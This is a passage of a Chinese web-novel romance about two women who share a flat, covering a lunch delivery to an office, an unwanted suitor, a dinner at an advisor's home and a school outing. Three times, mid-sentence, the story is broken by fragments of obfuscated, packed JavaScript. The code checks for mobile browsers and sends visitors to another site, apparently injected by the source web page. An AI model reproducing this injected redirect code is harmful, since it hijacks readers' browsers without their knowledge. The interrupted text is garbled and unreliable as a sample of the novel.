夏云鲤盛好粥推过去,“而且最近总是下雨,多喝一点汤驱寒暖身也挺不错的。” “可是……” “哎呀不许可是,没有可是!”夏云鲤凶巴巴的瞪人一眼,旋即又放软了声线,“我关心你嘛。” 她今天难得舍弃了吊带短裤的日常穿搭,反而套了一条白色背心裙,棉麻的质地看起来很柔软,长发编成一条乌黑油亮的辫子垂在胸口,纯得宛若山林间的白百合。 姜池眸光微颤,又想起了关于云朵的梦。 宽松的裙摆可以被轻而易举的推到腰际,像雾一样堆叠着。 云间的公主用同样上调的尾音,含着她的耳垂说话。她们漂浮在空中,又像坠落在海里。 “好。”姜池说。 “我的午休时间是十一点半到下午一点,教学楼就是上次你去过的那个,到时候我和 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小区内走路的人似乎停了一下,下一秒,她的手机就响了。 【好,我会的。】 喜滋滋的夏云鲤收拾好碗筷,拿上门禁卡,下楼向超市进发。 。 “小鱼!你一定就是小鱼对吧!” 夏云鲤刚和门卫打完招呼,就被一个看起来很兴奋的女生叫住。 “我叫庄思雨,不知道姜池有没有跟你提过我,我是她同事!我俩一个组的,教师组和实验组都是一个组。” 庄思雨有一双很漂亮的眼睛,双眼皮,个子不高,脸上有一些雀斑,给人一种很活泼很健谈的感觉。 夏云鲤有些惊讶,回了个笑,“我听姜姜提起过你,你是怎么知道我的?” “办公室的人都知道,姜老师的神仙室友!每天吃那么好,都给我们馋疯了。” 庄思雨笑了起来,“她今天没带餐盒,我们还挺纳闷的来着,我来拿外卖的,正好要回去,一起走吧。” 20. 第 20 章 两人并肩走在校园的小路上,庄思雨忍不住用余光偷偷瞄向身旁。 姜池的神秘室友,不止她一个人好奇,整个办公室的人都想见一面,到底是什么样的人,心灵手巧,仿佛有魔力一样,做的饭简直香飘十里。 何况别人不清楚,她可清楚的很,自从姜池从家里搬出来,开始合租以后,这人的心情都比之前好上很多。 她们大学就是同学,博士又是同一个导师,认识了那么多年。庄思雨自觉比其他人更了解她。 这是一个外表看起来冷淡,实际上内心心防更重的人,而且还很记仇。 上次小李手欠,未经允许就翻了人家的教案,还弄乱了桌子,等期末批改作业的时候,他就比别人多了好些任务,好笑的是这人还以为是组长分配的。 可这段时间以来,庄思雨从未见过姜池生气,就是有学生逃课,她也只是记名而已。 简直像是换了个人。 而且下班以后的聚会,她再也没有参加过,收拾好东西就直接回家。 这哪是合租,说是谈恋爱也有人信。 “夏老师今天做了什么好吃的?竟然提这么大袋子。”借着说话的由头,庄思雨偏过头,大大方方地看过去。 夏云鲤有着牛奶般的皮肤,白里透红,气色极好,柔和的杏眼微微弯起,眸光温柔清透。 一看就没有近视,一双眼睛又大又亮,头发也是乌黑浓密,瞧着就跟刚毕业似的。整个人好似一颗饱满成熟的桃子,走近一点还能闻到一股浅浅的蜂蜜甜香。 这人是奶油泡芙做的吗? 庄思雨下意识摸了摸日渐稀疏的头发,三个它加起来都不如人家的厚。 室友这么好看,换她也想早点回家。 整天看漂亮女生,搁谁心情不好? “我不是老师呀,庄老师太客气啦。”夏云鲤有些不好意思地眨眨眼睛,“有一袋是给你们带的一点小甜点,都是我自己做的。” “我们还有份呢!夏老师!夏菩萨!!”庄思雨夸张地大叫,“天呐,你知不知道每次我们想尝一点姜老师的饭,她那个严防死守,只给闻味儿,每次都□□光,好几个月了,到现在连一口都没尝到。” “哪份是给我们的?嗨呀,我帮你拿吧,不然你一个人拿两个袋子,实在是太沉了!” 夏云鲤刚低下头看一眼,还没说话,庄思雨就把袋子拎了过去,笑得见牙不见眼。 有人自己做的饭菜,是对厨师的最大肯定。 她自己只是高中毕业,面对学历高的人群总有一种局促感,今天来给姜池送饭,可能会见到她的同事,夏云鲤本来是有一点忐忑的。 现在这点忐忑被打消了。 庄思雨拿人手短,吃人嘴短,虽然东西还没进嘴,但已然把夏云鲤划到了自己人的范畴内。 等她们一起回到办公楼,她就充当了介绍人的身份,和还在办公室的同事对夏云鲤一通好夸,搞得后者真真切切地不好意思起来,连忙把手提袋打开。 先拿出来的是四杯还带着冰块的饮料,底部是碎芒果肉与切片青柠,还有细细的茉莉花瓣。随后是包装好的一盒盒蔓越莓饼干,方方正正,顶部用红丝带系成了蝴蝶结。两个长盒装的纸杯蛋糕,以及另有两个方盒的巧克力麻薯。 夏云鲤挨个介绍过去,“芒果冰柠茶,蔓越莓饼干,抹茶杏仁麦芬,小猫麻薯,都是我自己做的,没有那么甜,分量也不是很多,希望大家不要嫌弃。” 每个人都能分到一杯饮料一盒饼干,两个纸杯蛋糕和两个大麻薯,这种份量,也叫不多? 在场人的目光瞬间就热切起来,一边哈哈笑着说夏老师太客气了,一边下手都麻利得很,刷刷就把自己那份拿走,望过来的视线都亲近了。 整个办公室都弥漫着甜点的芬芳。 庄思雨招呼着夏云鲤坐下,“姜池被庄一平叫走了,大概是庄导找她吧。” 午饭已经送到,她其实可以走,只是还没有见到姜池……夏云鲤咬了下唇,没犹豫太久,轻声说了句谢谢,便坐下了。 被美貌暴击的郑好哇了一声,这时才注意到对方唇瓣上那一抹小小的暗色并不是自己以为的暧昧伤口,只是一颗恰好的痣。 原来不是姜池咬的。 夏云鲤顺着她指的方位坐下,抬眸扫了一圈。 最左侧的桌面收拾得整整齐齐,所有的笔记、文件、书本都分门别类地放好,就连笔也老老实实待在笔筒里。 “那个桌子是姜池的吗?” 听到问话,庄思雨强行让脑补刹车,清除一脑袋的颜色废料,顺着她指的方向看过去,“对,特板正,她应该一会就回来了。” 自觉守护cp的她又补充道:“庄导就是指导我们博士毕业的导师,庄一平是他儿子。我和组长以前就是同学,一个导师来着。” 左右看了看,她压低声音,做贼似的悄声说:“可讨厌,总过来找组长说话,好像赖皮虫,组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15035939|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长都不搭理他。” 夏云鲤眉头微动,也放低音量,“能和我说说吗?这个庄一平。” 她记得这个人,上次在餐馆遇见,那个满嘴说教的爹味男,对姜池指手画脚的。 “庄导人挺好的,对我们是真的关照,我和姜池现在一起做的项目就是庄导发起的,就是他儿子嘛……” 庄思雨撇了撇嘴,小声咕哝,“和他一个姓,我都觉得晦气了。” 她早看这个表里不一的垃圾男不顺眼,反正这人爱装,她没少当着人面阴阳怪气,反正他不会和导师告状,装大度。 和她有同样想法的人不在少数。 庄思雨直接把他发表的奇葩言论都捅了出去。 什么女人学历太高没用,早点结婚生子才是幸福归宿。 听得夏云鲤眉头狠狠拧了起来。 。 走廊里,简单绑着单马尾的高挑女人再一次和人拉开距离,听人说完一长串话后,回了个单字:“嗯。” 仿佛多说一句就会倒霉。 庄一平眼底划过一道暗色,片刻后呵呵笑道:“我妈昨天刚回国,她一直都很想你,想你什么时候再来家里吃顿饭。” 眼镜的银框反射日光,姜池淡白的唇瓣抿成一条线,透着生人勿进的意味,说出来的话也没什么语调波动,“有机会的。” “我看这周末就不错,你没别的安排吧?”似乎没看出来对方的拒绝反感,庄一平自顾自往下说。 “你下午是不是要去实验大棚?女孩子做这些还是太辛苦,这个课题结束不如别做,像我一样单纯教书就很轻松,还体面。” 姜池隐忍地深吸一口气,脑海里反复想过老师掏心掏肺的教导,勉强咽下那些不礼貌的回绝,刚要开口,脚下忽然一顿。 “你也觉得我说的有道理?”见人停下,庄一平还以为这人总算开窍。 姜池却没答他的话,目光透过玻璃窗向办公室内望去,视线里,珠圆玉润的漂亮女人和旁人椅子挨着椅子,肩膀靠着肩膀,凑在一起不知道说些什么,牙齿咬着下唇,刚好陷在那颗暗色的痣里,妩媚得不可思议。 “自以为是的人话总是很多。” “你说什么?”庄一平怔住,差点以为自己听错了。 “字面意思。”姜池淡淡道,原先想好的婉拒换成了更不客气的话,她抓住门把手下压,回手猛地将门关上。 嘭。 屋内所有的人都看了过来。 21. 第 21 章 庄思雨有一个交往了六七年的男朋友,感情一直很稳定,婚期就定在十月一,姜池很清楚,因为她还被邀请做伴娘。 所以,她和夏云鲤绝对不可能发生什么。 但她们两个离得实在很近,庄思雨用手挡着嘴,凑到夏云鲤的耳边,不知道说什么悄悄话,惹得后者忽然笑起来。 夏云鲤还穿着早上那条背心白裙子,身上没带任何饰品,像柔白的玉置于丝绸里。 她笑得也很矜持,唇角小小地抿开一点弧,宛若悄悄绽开的玉兰。 姜池却莫名觉得刺眼。 她手腕一抖,使劲将门甩上。 砰! 身后同时传来一声痛呼,姜池充耳不闻。 “姜姜!”等的人出现,夏云鲤的眼里就再也看不见旁人,她连忙站起来迎上去,“你去好久哦,有没有饿肚子?快来吃饭吧。” 她自然地拉起人的手,往对方办公桌走,嘴上不停说着:“你猜猜,除了冬瓜肉丸汤,我还给你做了什么?” 尖锐的情绪退得比来的还快,仿佛夏云鲤变成了某种冷静药,只要两个人一挨上,姜池就成了没脾气的人。 或许还要加上致幻剂。 不然怎么解释脚下坚硬的瓷砖地面变成棉花这件事? “我猜不中,是桃子果冻吗?”姜池被人乖乖牵着走,认真思索着回答。 “你又馋果冻啦?”夏云鲤好笑地扬眉,无奈摇头道,“今天没有果冻,是烤苹果。” “还有蛋黄鸡翅和抱蛋豆腐哦。” 她边说着,边把保温餐盒里的东西都拿出来。蛋黄鸡翅看起来金黄酥脆,摆放的整整齐齐,上面还有一小片薄荷叶做点缀。 爆蛋豆腐又鲜又嫩,硕大的虾仁就摆在中间,一口顺滑,几乎不用费心嚼。 汤里的冬瓜近乎透明,牛肉丸紧致弹牙,找不出一点肥的,一掀盖就闻到一股浓郁的鲜香。 姜池在办公桌前站的笔直,环顾四周,果不其然看到了一群馋虫,伸着脖子往这边看。 他们的手里也没空着,正拿些饼干大福之类的东西在吃。 姜池:“……” 心情突然没有刚刚那么美了。 “你还带了吃的给他们分?”她握住夏云鲤递过来的筷子,指尖按在棱角上,语气不咸不淡,瞧不出什么心思。 “我第一次见你的同事,总不好空手来呀。”夏云鲤按着人的肩膀催她坐下,“你快吃饭,一会儿菜凉了。午休时间就这么点,早点吃完,还可以睡一觉。” “我没有。”姜池坐下,喝了口汤,冷不丁冒出一句。 “什么?”夏云鲤看她吃饭正入迷呢,脑子没转过来。 “她们都有甜点,我没有。”姜池仰头看过来,眼瞳黑得像墨,唇线拉成一条直线,一眨不眨地盯着她瞧。 没什么表情的脸上竟然让夏云鲤看出了一种委屈巴巴的感觉。 “啊……我……”她突然就结巴起来,愧疚和压力变成肩头压着的两座大山,压得夏云鲤抬不起头。 “我回家再给你做好吗?因为比较着急,所以就没有做那么多,回家以后你想吃什么我就给你做什么,好不好?” “我想吃什么都行吗?” 姜池的目光轻轻扫过对方的唇,因着刚被舌尖紧张地舔过,上面泛着一层浅淡的水光。 夏云鲤一无所觉,忙着发誓,眼神坚定得像在宣誓,就差没举起手来一同表示决心,“当然啦,只要你说,就算不会做的话,我也可以去学。” “果冻。”姜池说,她慢慢垂下眼睫,挡住明显的心思,“桃子果冻。” “好!桃子果冻!等一会我回去就去超市买水蜜桃,给你做不重样的。”夏云鲤一口答应下来,没有一点迟疑。 姜池的心情再度美妙起来。 旁边猛猛吃了一口狗粮的庄思雨,差点激动得把桌子啃掉。 她的工位离姜池隔了两个人,两个人压低声音说话的时候听不太清什么内容,但只看互动就够她吃饱了。 她自己在脑海里给两人配了音,说一些想啊爱啊之类的话,跟实际聊的内容八竿子打不着一起去。 “刚刚你同事跟我说,你被庄一平叫走了,他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15035940|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还缠着你吗?”夏云鲤本来不是很想说这个,可是不问的话,她抓心挠肝的难受。 一想到姜池和被那么一个烂人纠缠,她就不舒服到了极点。 “是导师叫我,要给师母补过生日,问我什么时候有时间,他是来传话的。”姜池说。 “他只是一厢情愿,我对他没有任何的想法。”她再次无比认真地强调道。 “那你的导师,他是怎么想的呢?”夏云鲤依旧拧着眉。 她知道催婚的可怕,和长辈裹挟着恩情的那种无形的压力落在人身上,究竟有多强。 人就像是陷在沥青里,越是挣扎,陷得越深。可放任不管,只会让自己后悔。 “我的导师有这方面的倾向,对他来说是亲上加亲,不过师母支持自由恋爱,她特意和我说结婚是人生大事,一定要倾听自己内心的选择。” 提到师母,姜池的语气都柔软了不少,话也变多了,“她是做野生动物保护的,是一个很有生命力的人,你们一定聊得来。” “这也是我的想法。”姜池深深望进她的眼里,“我只会和我喜欢的人在一起。” 她声音很轻,像宛若一根羽毛,缓缓落在蛛丝上,振动只在蛛网回荡。 夏云鲤的心跳忽地加快,和震荡化为同一频率,没有规则,只是强烈得吓人。 “挺好的。”她指尖用力扣着桌面,让棱角硌住手心,不自然只在眼底一瞬划过,宛若游隼,“不妥协。” “你吃完的话,我就回去啦?”她习惯性提起唇角,让自己回到擅长又熟悉的领域来,动作麻利地收拾好餐具,指尖仿佛翻飞的蝴蝶。 时间怎么过的这样快? 姜池下意识看向墙上挂着的钟,惊觉距离午休结束只剩半小时了。 “我送你。”姜池从她的手中拎过手提袋。 “怕你迷路。”她说。 “我已经走过两次了,记着路呀,还有半个小时,你抓紧时间睡一觉吧。”夏云鲤说着就伸手要把袋子拿回来,没想到对方抬腿就往门口走。 “那怕我迷路。”姜池一本正经地说。 22. 第 22 章 “所以她就去导师家吃饭去了?你没危机感吗我的傻闺闺。” 梅子啃着甘蔗,像熊猫转世嚼个不停,边说话边呸呸吐渣。 夏云鲤拿着擀面杖给要做的蜜桃派擀皮,忙里偷闲扫了视频一眼,口中随意道:“我要什么危机感?她师母对她很好,去给人家庆生不是应该的吗?” “庆生又不耽误催婚。”梅子不吝以恶意揣测。 “而且你到底有没有问过姜池是直女还是拉子啊!急死我了,暗恋直女你就惨了!” 夏云鲤慢吞吞卷起饼皮,仿佛上火操心的闺蜜说的是别人的事,“哎呀,顺其自然嘛,这种话也不能随便就问了,太冒昧了吧。” 梅子恨不得把甘蔗伸进屏幕里,对着闺蜜的脑袋敲上一下。眼看好几个月过去,夏云鲤明显愈发上头,还不赶紧推进下一步,她着急是为了谁呀! “你要是不好直接问的话,就说我是拉子,问问她什么看法。”梅子说,“反正我这辈子都不会结婚谈恋爱的,你就随便胡诌吧。” “不着急嘛,我有自己的节奏。”夏云鲤油盐不进地说。 梅子狠狠翻了个白眼。 还不急,一会儿暗恋对象被鼻涕虫缠上了,哭都找不着地方。 实际上,她想象中宛若羊入狼群的姜池,现在还挺舒适的。 师母秦女士从不下厨,是以正在厨房忙碌的是丈夫庄导,儿子在一旁打下手。 姜池被拉着去书房,秦女士要给她看自己这次去东北跟拍的一组野生东北虎家庭照片。 秦女士已经有50多岁的年纪,头发还是乌黑茂密,短至下巴,身形看着偏瘦,实际健壮有力,全是肌肉。 毫不夸张的说,她能把一米七的姜池整个举起来。 “我还给你带了野山参,当地的导游眼尖看到,我就挖了一颗。还有,这是一根雉鸡尾羽,我捡到的,当地就叫野鸡,雄鸟的羽毛还是很漂亮的。” 她的双眼明亮,说着上山寻找东北虎脚印时的趣事,话语间满是热爱与向往,“那里的冬天是真冷,四月份的时候,山上的雪还没有化完,可小草就有冒头的了。有一种冰凌花,就在这个时候盛开,开在雪里,橙黄橙黄,像小太阳。我也给你带了一朵回来。” “我在家休息半个月,还要接着去。本来不想回,老庄实在粘人,催得紧。” “别光只是我说,你呢?这段时间怎么样,日子还如意吗?” “还算顺利。”姜池抱着一堆羽毛、叶子标本、石头、植物根茎,目光亲近中透着孺慕。 秦女士就笑了,眼睛周围泛起细纹,语气悠长地说:“人一辈子只活几十年,多为自己考虑,多追求自己想要的东西。” “让自己过得快乐就足够了。” “哪怕会让别人不高兴?”姜池握着靛青的圆石头,捧着遥远北方跋山涉水而来的礼物们,似乎感受到了那里的凌冽寒气。 “姜池,”秦女士笑着说,没有正面回答她的问题,只是意有所指地眨眨眼,“你很像我。” “所以我只给你带了礼物。”她又慢条斯理地补充。 晚饭做好,庄导进来叫人,一进屋也跟着笑了,“我就知道你这些东西是给小姜带的。” 又看着姜池说:“看的可紧了,我想看一眼都不让。” “我人回来,你还有什么不知足的?”秦女士理直气壮地说。 “知足,知足,你平平安安的我就放心了。”庄导笑呵呵地说,“快来吃饭吧。” 饭桌上也是其乐融融。庄导忙着给许久不见得妻子夹菜,秦女士忙着给姜池夹菜。 庄一平反倒像个外人。 他的目光渐渐阴郁下来,半晌后,他忽然开口:“妈,你这次回来可得说说姜池,她啊,和姜姨吵架不说,还赌气搬出去住,我怎么劝都不听,别人的话她都左耳朵进右耳朵出,只听你的话,你还不管管她?” 秦女士嚼着葱爆牛肉,态度寻常,面不改色地问:“怎么吵架了?” 庄导倒是第一次听说,他这段时间一直忙着课题组的事,也没有人告诉他。闻言有些惊讶地投过视线,“是出什么事了?” 被三个人看着,尤其是左手边庄一平死盯着她不放,姜池抿了下唇,忽然生出一股底气。 “小姨催婚,我不同意。” 庄导推了下眼镜,若有所思道:“小姜二十七了吧,这个年纪的确也该考虑一下婚姻大事。” 庄一平双眼一亮,这是在他家,他的主场,紧接着就要开口,说自己心仪姜池。 姜池怎么会不知道这个人心里到底想的是什么,她和神情平静的秦女士对视,提高一点音量,强行打断了他的话。 “我没有结婚的想法,也没有喜欢的人,做学术研究才是我的追求,小姨也理解我。” “我现在的年纪搬出去很正常,和这件事无关,最近也在考虑买房的事情。” 庄导更惊讶了,他看了一眼被话憋住的亲生儿子,又望向自己的得意门生,近乎半个女儿的姜池,重复问道:“没有喜欢的人吗?” 这和他听到的消息可不一样。 姜池:“没有。” 秦女士笑得悠然,慢条斯理地继续用餐,似乎吃瘪的不是她亲生儿子。 原本的计划接连被破坏,庄一平怎么也笑不出来,差点崩掉面皮,生硬地扯了下嘴角,“你还年轻,人的想法是会变的。” 他只是为了挽尊,没想到姜池居然附和了一句,“你说的对,如果我以后有了喜欢的人,一定会带她和大家见面的。” “说起来,你比我还大了两岁,更应该考虑婚姻问题。”姜池注视着庄一平说,“听说美术组新来的老师好像对你有想法,她人不错,不考虑一下?” 庄一平咬紧牙根,皮笑肉不笑地说:“没有的事。都是大家以讹传讹,我不过是顺路帮她拿了一次外卖,传来传去就成了这样。” “是吗?”姜池点头,仿佛信了,淡声说:“那我上周末看到你和她一起吃饭,应该也是看错了吧,离得远。” 庄一平打哈哈过去,转而挑起话题,问母亲去东北的事。 直到晚饭结束,他收拾碗筷去厨房,才彻底撕掉温和的假面,把刷碗布猛地甩进水槽,忍不住无声咒骂了一句。 他对姜池其实没有那么喜欢,这个女人脸虽然很漂亮,但是性子太冷,可还没等他嫌弃姜池,这人反倒先对他不假辞色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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夏云鲤还没疑惑两秒钟,就被这一堆色彩鲜明的小东西吸引住了视线,“好漂亮!我的天,真的好漂亮啊。” 她小心地用指尖碰了碰就缩回来,怕自己把东西碰坏了,这些小玩意儿不值什么钱,但蕴藏的心意不能用金钱衡量。 “姜姜,你师母一定很喜欢你。” “她也会喜欢你的。”姜池脱口而出。 “毕竟我们是朋友。”她镇定自若地说,“而且你很可爱,见到你的人都会喜欢。” “嘴这么甜?”夏云鲤咬着唇,一时间竟不敢和人对视,她放下礼物篮,踩着拖鞋往厨房走,“早知道蜜桃派就不放糖了,有你说话就够了。” 走进厨房才想起来姜池刚吃过晚饭。 懊恼地拍了下额头,夏云鲤握着冰箱门探出半个身子,颇为不好意思地软下了声,“你现在还有肚子没有呀?” “有。”姜池说,“一直都有。” “那要不要顺便看个电影?闺蜜安利给我的,叫惊世狂花,她说是惊悚悬疑片。” 夏云鲤嘟囔着:“悬疑片叫这个名字有点奇怪。” 50-57 第51章 她心跳如鼓 周六早晨七点半,夏云鲤和姜池一起开车来到学校门口,和组织活动的主任打了个招呼。 “姜池!小鱼!” 庄思雨离老远就对着两个人招手,夏云鲤循声望过去,差点没有认出来是她。 她有一双很好看的杏眼,这种眼型本应该是清纯无辜的代名词,可夏云鲤平时看到她,完全感受不到她身上有这两种气质,有的只是无止境的班味。 整个人好像被太阳暴晒了三天三夜,脱水干巴到一定地步,头发梳成大光明,把额头都露出来,扎成很低的盘发,再配上一副又黑又粗的方框眼镜。 给人一种非常稳重的老师形象,仿佛有从业三十年的经验。 但庄思雨今天大不相同。 发尾烫了大波浪,眼镜换成了很有混血感的灰蓝色美瞳,卧蚕腮红高光仙子睫毛一个不落。 墨绿色的挂脖长裙,腰部收得纤细,又有气质又美,好像中欧时期的贵族小姐,当场年轻十岁。 夏云鲤:“哇塞!” 庄思雨笑着挽着一个男人的胳膊,介绍到:“我老公邵峰。” 夏云鲤仍旧张大嘴被震惊到,“庄老师,你今天美呆了。” 庄思雨哈哈大笑,“是吧,化妆化了一个点呢。我让邵峰带了照相机,一会儿多拍两张,给你俩也拍,他专业的。你们也是开车来的吗?正好,我们也是,咱们一起走吧,不用等着坐大巴,登完记就行了。” “好啊好啊。” 上了车,夏云鲤还沉浸在庄思雨带来的反差冲击中,“我第一回见不上班的庄老师,容光焕发的,可见当社畜能把一个人变成什么样……” “不过我之前还看过网上的段子,说老师就应该打扮得难看一点,免得被学生表白,职场生涯就完蛋了。” “她有老公。”驾驶座的姜池冷不丁冒出一句。 夏云鲤一口汽水呛在喉咙,“什么!你说什么呢,她当然有老公,我们不是才见到嘛!” “我今天也很好看,你都没夸我。”姜池说,语气很平淡,内容不是。 夏云鲤心底一颤,指尖抠了下安全带,顿了顿才回:“好看,你今天很帅。” 越是在意,越要回避。她们同处一室,夏云鲤怎么可能注意不到姜池今天专门过来借了她的直板夹,对照视频教程,给头发做了造型。 她的动手能力极强,一次就成功了。发丝向后卷着,有点像狼尾青春版。 偏藕粉扎染的衬衫交叉系扣掖进裤腰,外面再套一件很有垂坠感的白色马甲,搭配黑色阔腿裤和运动鞋,陶瓷贝壳的复古风长项链垂在胸口,手腕上是自己之前送她的黑金棕手串。 坦白说,如果庄思雨今天的反差对她的冲击是五,那么姜池带来的震动,就是满分一百。 初次见面,姜池是只穿黑白灰的冷淡人机,现在她的衣柜里出现了各种浅浅的亮色,好似只有半个月春季的草原,在冰天雪地里开出五颜六色的花。 有些慵懒随意的,帅气的,仿佛会刷到的颜值博主从视频里走了出来。 夏云鲤真不想在自己脸上贴金,把这份功劳安在头上。 “谢谢。”姜池说,“你今天也很好看,我们穿的是……闺蜜装,别人一看就知道我们两个是一起的。” 夏云鲤绞尽脑汁想说点什么,但今天的粉色吊带让所有辩解都显得苍白无力。 半晌后,她认命般无奈道:“是这样的。” 没关系,闺蜜装就是好朋友之间会穿的。她安慰自己说。 姜池的嘴角隐秘地翘了翘。 五福山是阳城有名的旅游景点,传说有仙人在此地讲开设道场法,留下五个连在一起的小型湖泊,恰好组成一个月牙形状,所以又叫月牙湖。 湖边有一棵很大的桃树,枝繁叶茂,花期长久,许多人在树下许愿,希望自己走桃花运。 姜池已经计划好了,她们先徒步爬山,到了月牙湖欣赏一会儿景色,坐船穿过湖面,到另一边。 使用“来都来了”魔咒,让小鱼和她一起去桃树下许愿。 别的行程都不重要,甚至连日出都排在后面。 相信科学的姜池,偶尔也会临时抱一抱玄学的佛脚。 进停车场时,姜池出示了电子门票,获得免费停车的福利。 学校组织是免门票的,但她们两个还要租景点的帐篷,所以就各自买了两张带项目的套票。 她们到的晚一点,验完票进门,就看到庄思雨和她对象已经拍了起来。 “这边这边!”庄思雨喊到。 “这里光好,你们也来拍两张,闲着也是闲着,正好等她们大部队。” 夏云鲤还在犹豫,姜池就一口答应下来,应完了才扭过头看她,轻声问:“我们一起拍可以吗?” 她身上有很浅淡的草木香气,被山风吹拂着,送到夏云鲤的鼻尖。 心跳如鼓。 “好。”她说。 第52章 对喜欢的人没有原则 “离的近一点嘛,站得太远了,我都不知道怎么构图了。” “对对对就是这样,姜老师的手可以搭在鱼老师的肩膀上,低头,凑近一点,看她就可以,不用看我。” 庄思雨在一旁噗嗤笑出声,“什么鱼老师,人家不姓鱼!姓夏。” 邵峰哦哦两声,笑容爽朗,“不好意思不好意思,来夏老师往左边看,我的右边你的左边,微笑,好,就是这样。” 庄思雨的对象的确是一位专业摄影师,他的工作就是拍摄杂志封面,所以在拍摄时,总会出声指点动作和站位。 “眼神,互动,要有互动和故事感,你们要有交流。” 夏云鲤默默听着他的指挥,忍住想要移开视线的冲动。 这是她第一次觉得拍照是一件让人煎熬的事。 本来就正处在调整状态的尴尬时候,她又想躲着姜池,又不能让姜池看出来,甚至已经想着要不要去找闺蜜住个十天半个月冷静冷静,可一个拍照,就让她汗流浃背,脑海里回荡的都是直接钻到地底下的念头。 姜池的睫毛好长,虹膜的颜色很深,专注望着人时,就好像自己是她的全世界,又或者,自己是这个嘈杂纷扰世界里唯一一个值得注意的人。 她知道姜池的身材很好,典型的衣架子,手长腿长肩宽,穿什么都好看。可这不意味着,她要挨得那么近,仿佛一低头,就能吻到对方白皙的颈侧,又或是舔到分明的锁骨上。 太近了。 姜池似乎很喜欢拍照的过程,认真执行摄影师的每一个要求,握住她的胳膊,撩起她的发丝,从背后半搂着她的肩膀。 夏云鲤定在原地,耳中传来的指挥声越来越远,姜池的呼吸却愈来愈近,仿佛她的体温滚烫到把空气烧开,把氧气烧光,让自己只是呆着就窒息。 某一个瞬间,她们对视,好像彼此都是深情。 “哎呀,怎么车就到了。”庄思雨看了现场版暗潮汹涌的“爱情剧”,嘴角几乎咧到耳根去,根本下不来。 不知道当事人什么想法,反正她看着,分明是两个害羞到不行的人,别别扭扭又强装大方。 好磕死了! 听到庄思雨的话,夏云鲤猛猛松了一口气,后退两步,从焦灼的气氛中退出去。 姜池却上前两步,又走到她身边,目光眺望远处,“是学校组的客车到了,我们得先去和她们汇合,拍几张合照。” 再躲就刻意了。 只是朋友只是朋友,朋友之间离得近一点也很正常!夏云鲤反复在心中念叨了好几遍,才深吸一口气挤出笑容,语气如平时一样轻快,“好呀,那我们走吧。” “好。”姜池说。 刚走两步,她貌似随意地问:“这里人多,要不要牵着手?” 夏云鲤一个向日葵猛回头,就听见这人不紧不慢地说:“我怕走散了。” 两个成年人,能怎么走散?景点门口就是一个大广场,通往景区里面只有一条公路,再不济还有手机联系,她都想不到走散的方法。 是有外星人入侵,把人隐形然后抓走这样散吗? 可说话的人摆出一张“这只是一件再正常不过的小事”的脸,她竟然想不出什么拒绝的说法。 一秒钟,两秒钟……时间一点一滴流淌,久到姜池偏过头来,无声询问她的回答。 夏云鲤一咬舌尖,视死如归般开口:“我手心爱出汗,牵手会黏糊糊的。” 姜池沉默片刻,“之前去鬼屋的时候没发现。” 夏云鲤怔住,情急之下的拙劣谎言,就像糊窗户的报纸,轻轻一戳就破。 她懊恼地咬唇,解释像欲盖弥彰。 “今天温度太热了。” 姜池没再说什么,看起来好像是接受了。 可夏云鲤反倒更过意不去,因为她知道姜池能看出来这份假话的不走心,解释的无力和苍白,但这位大博士总会在这种时候体贴,不戳穿,假装相信。 她心下一横,左手向旁边伸过去,抓住姜池的手掌,勾住她的手指,拼尽力气粲然一笑,“反正你也不会嫌弃我的,对不对呀?” 姜池翘了下嘴角,目光比此刻盛夏的太阳还灼热,“永远不会。” 说话的功夫,她们走到大巴附近,见到了带领活动的主任。 大家都是老师,也没有大企业那些团魂的讲究,主任把所有人都叫到一起,站成一堆,举起手机咔嚓拍了张照片,扬声道:“好了,接下来的时间大家随意活动,午饭免费,十一点到十二点半去钟楼旁边的盛记大酒店,报学校名字,出示一下群里的二维码就行,大巴返程时间在晚上五点半,终点还是学校,自己走的群里表填一下。” “解散吧。” 话音刚落,大家都四散开。庄思雨招呼着她们,“走呀,爬山去。” “这山挺高的,估计我爬到一半就得坐缆车了,你们能行吗?小鱼体力这么样?” 夏云鲤还没等回答,姜池就替她答道:“小鱼的体力比我好,有三个我的程度。” 夏云鲤摆着手,“哪有哪有,太夸张了,我只是力气大一点。” “单手拎起五六十斤行李箱。”姜池说,“你太谦虚了。” “真的嘛!真人不露相啊。”庄思雨惊呼,“看来我也犯了以貌取人的错了。” 她笑着,视线快速扫过两人交握的双手,和姜池主动替答的亲密态度,忽然嘿嘿两声。 她和姜池认识太久,不敢保证很了解后者的内心,但外在行为实在熟悉得不能再熟悉了。 姜池看起来冷淡疏离,对人很客气有礼貌,实际上呢,简直是拒人于千里之外,不要说牵手,就是搭个肩膀都会被她躲开。 曾经一度,她都以为姜池是有重度洁癖,才不想被人碰到,实际不然,她就是单纯讨厌。 庄思雨把这个当做天才聪明人的特殊癖好,今天见到这一幕,真不枉费活动通知下来的时候,她特意问姜池带不带小鱼来,还费尽心思把“家属成员”扩大范畴。 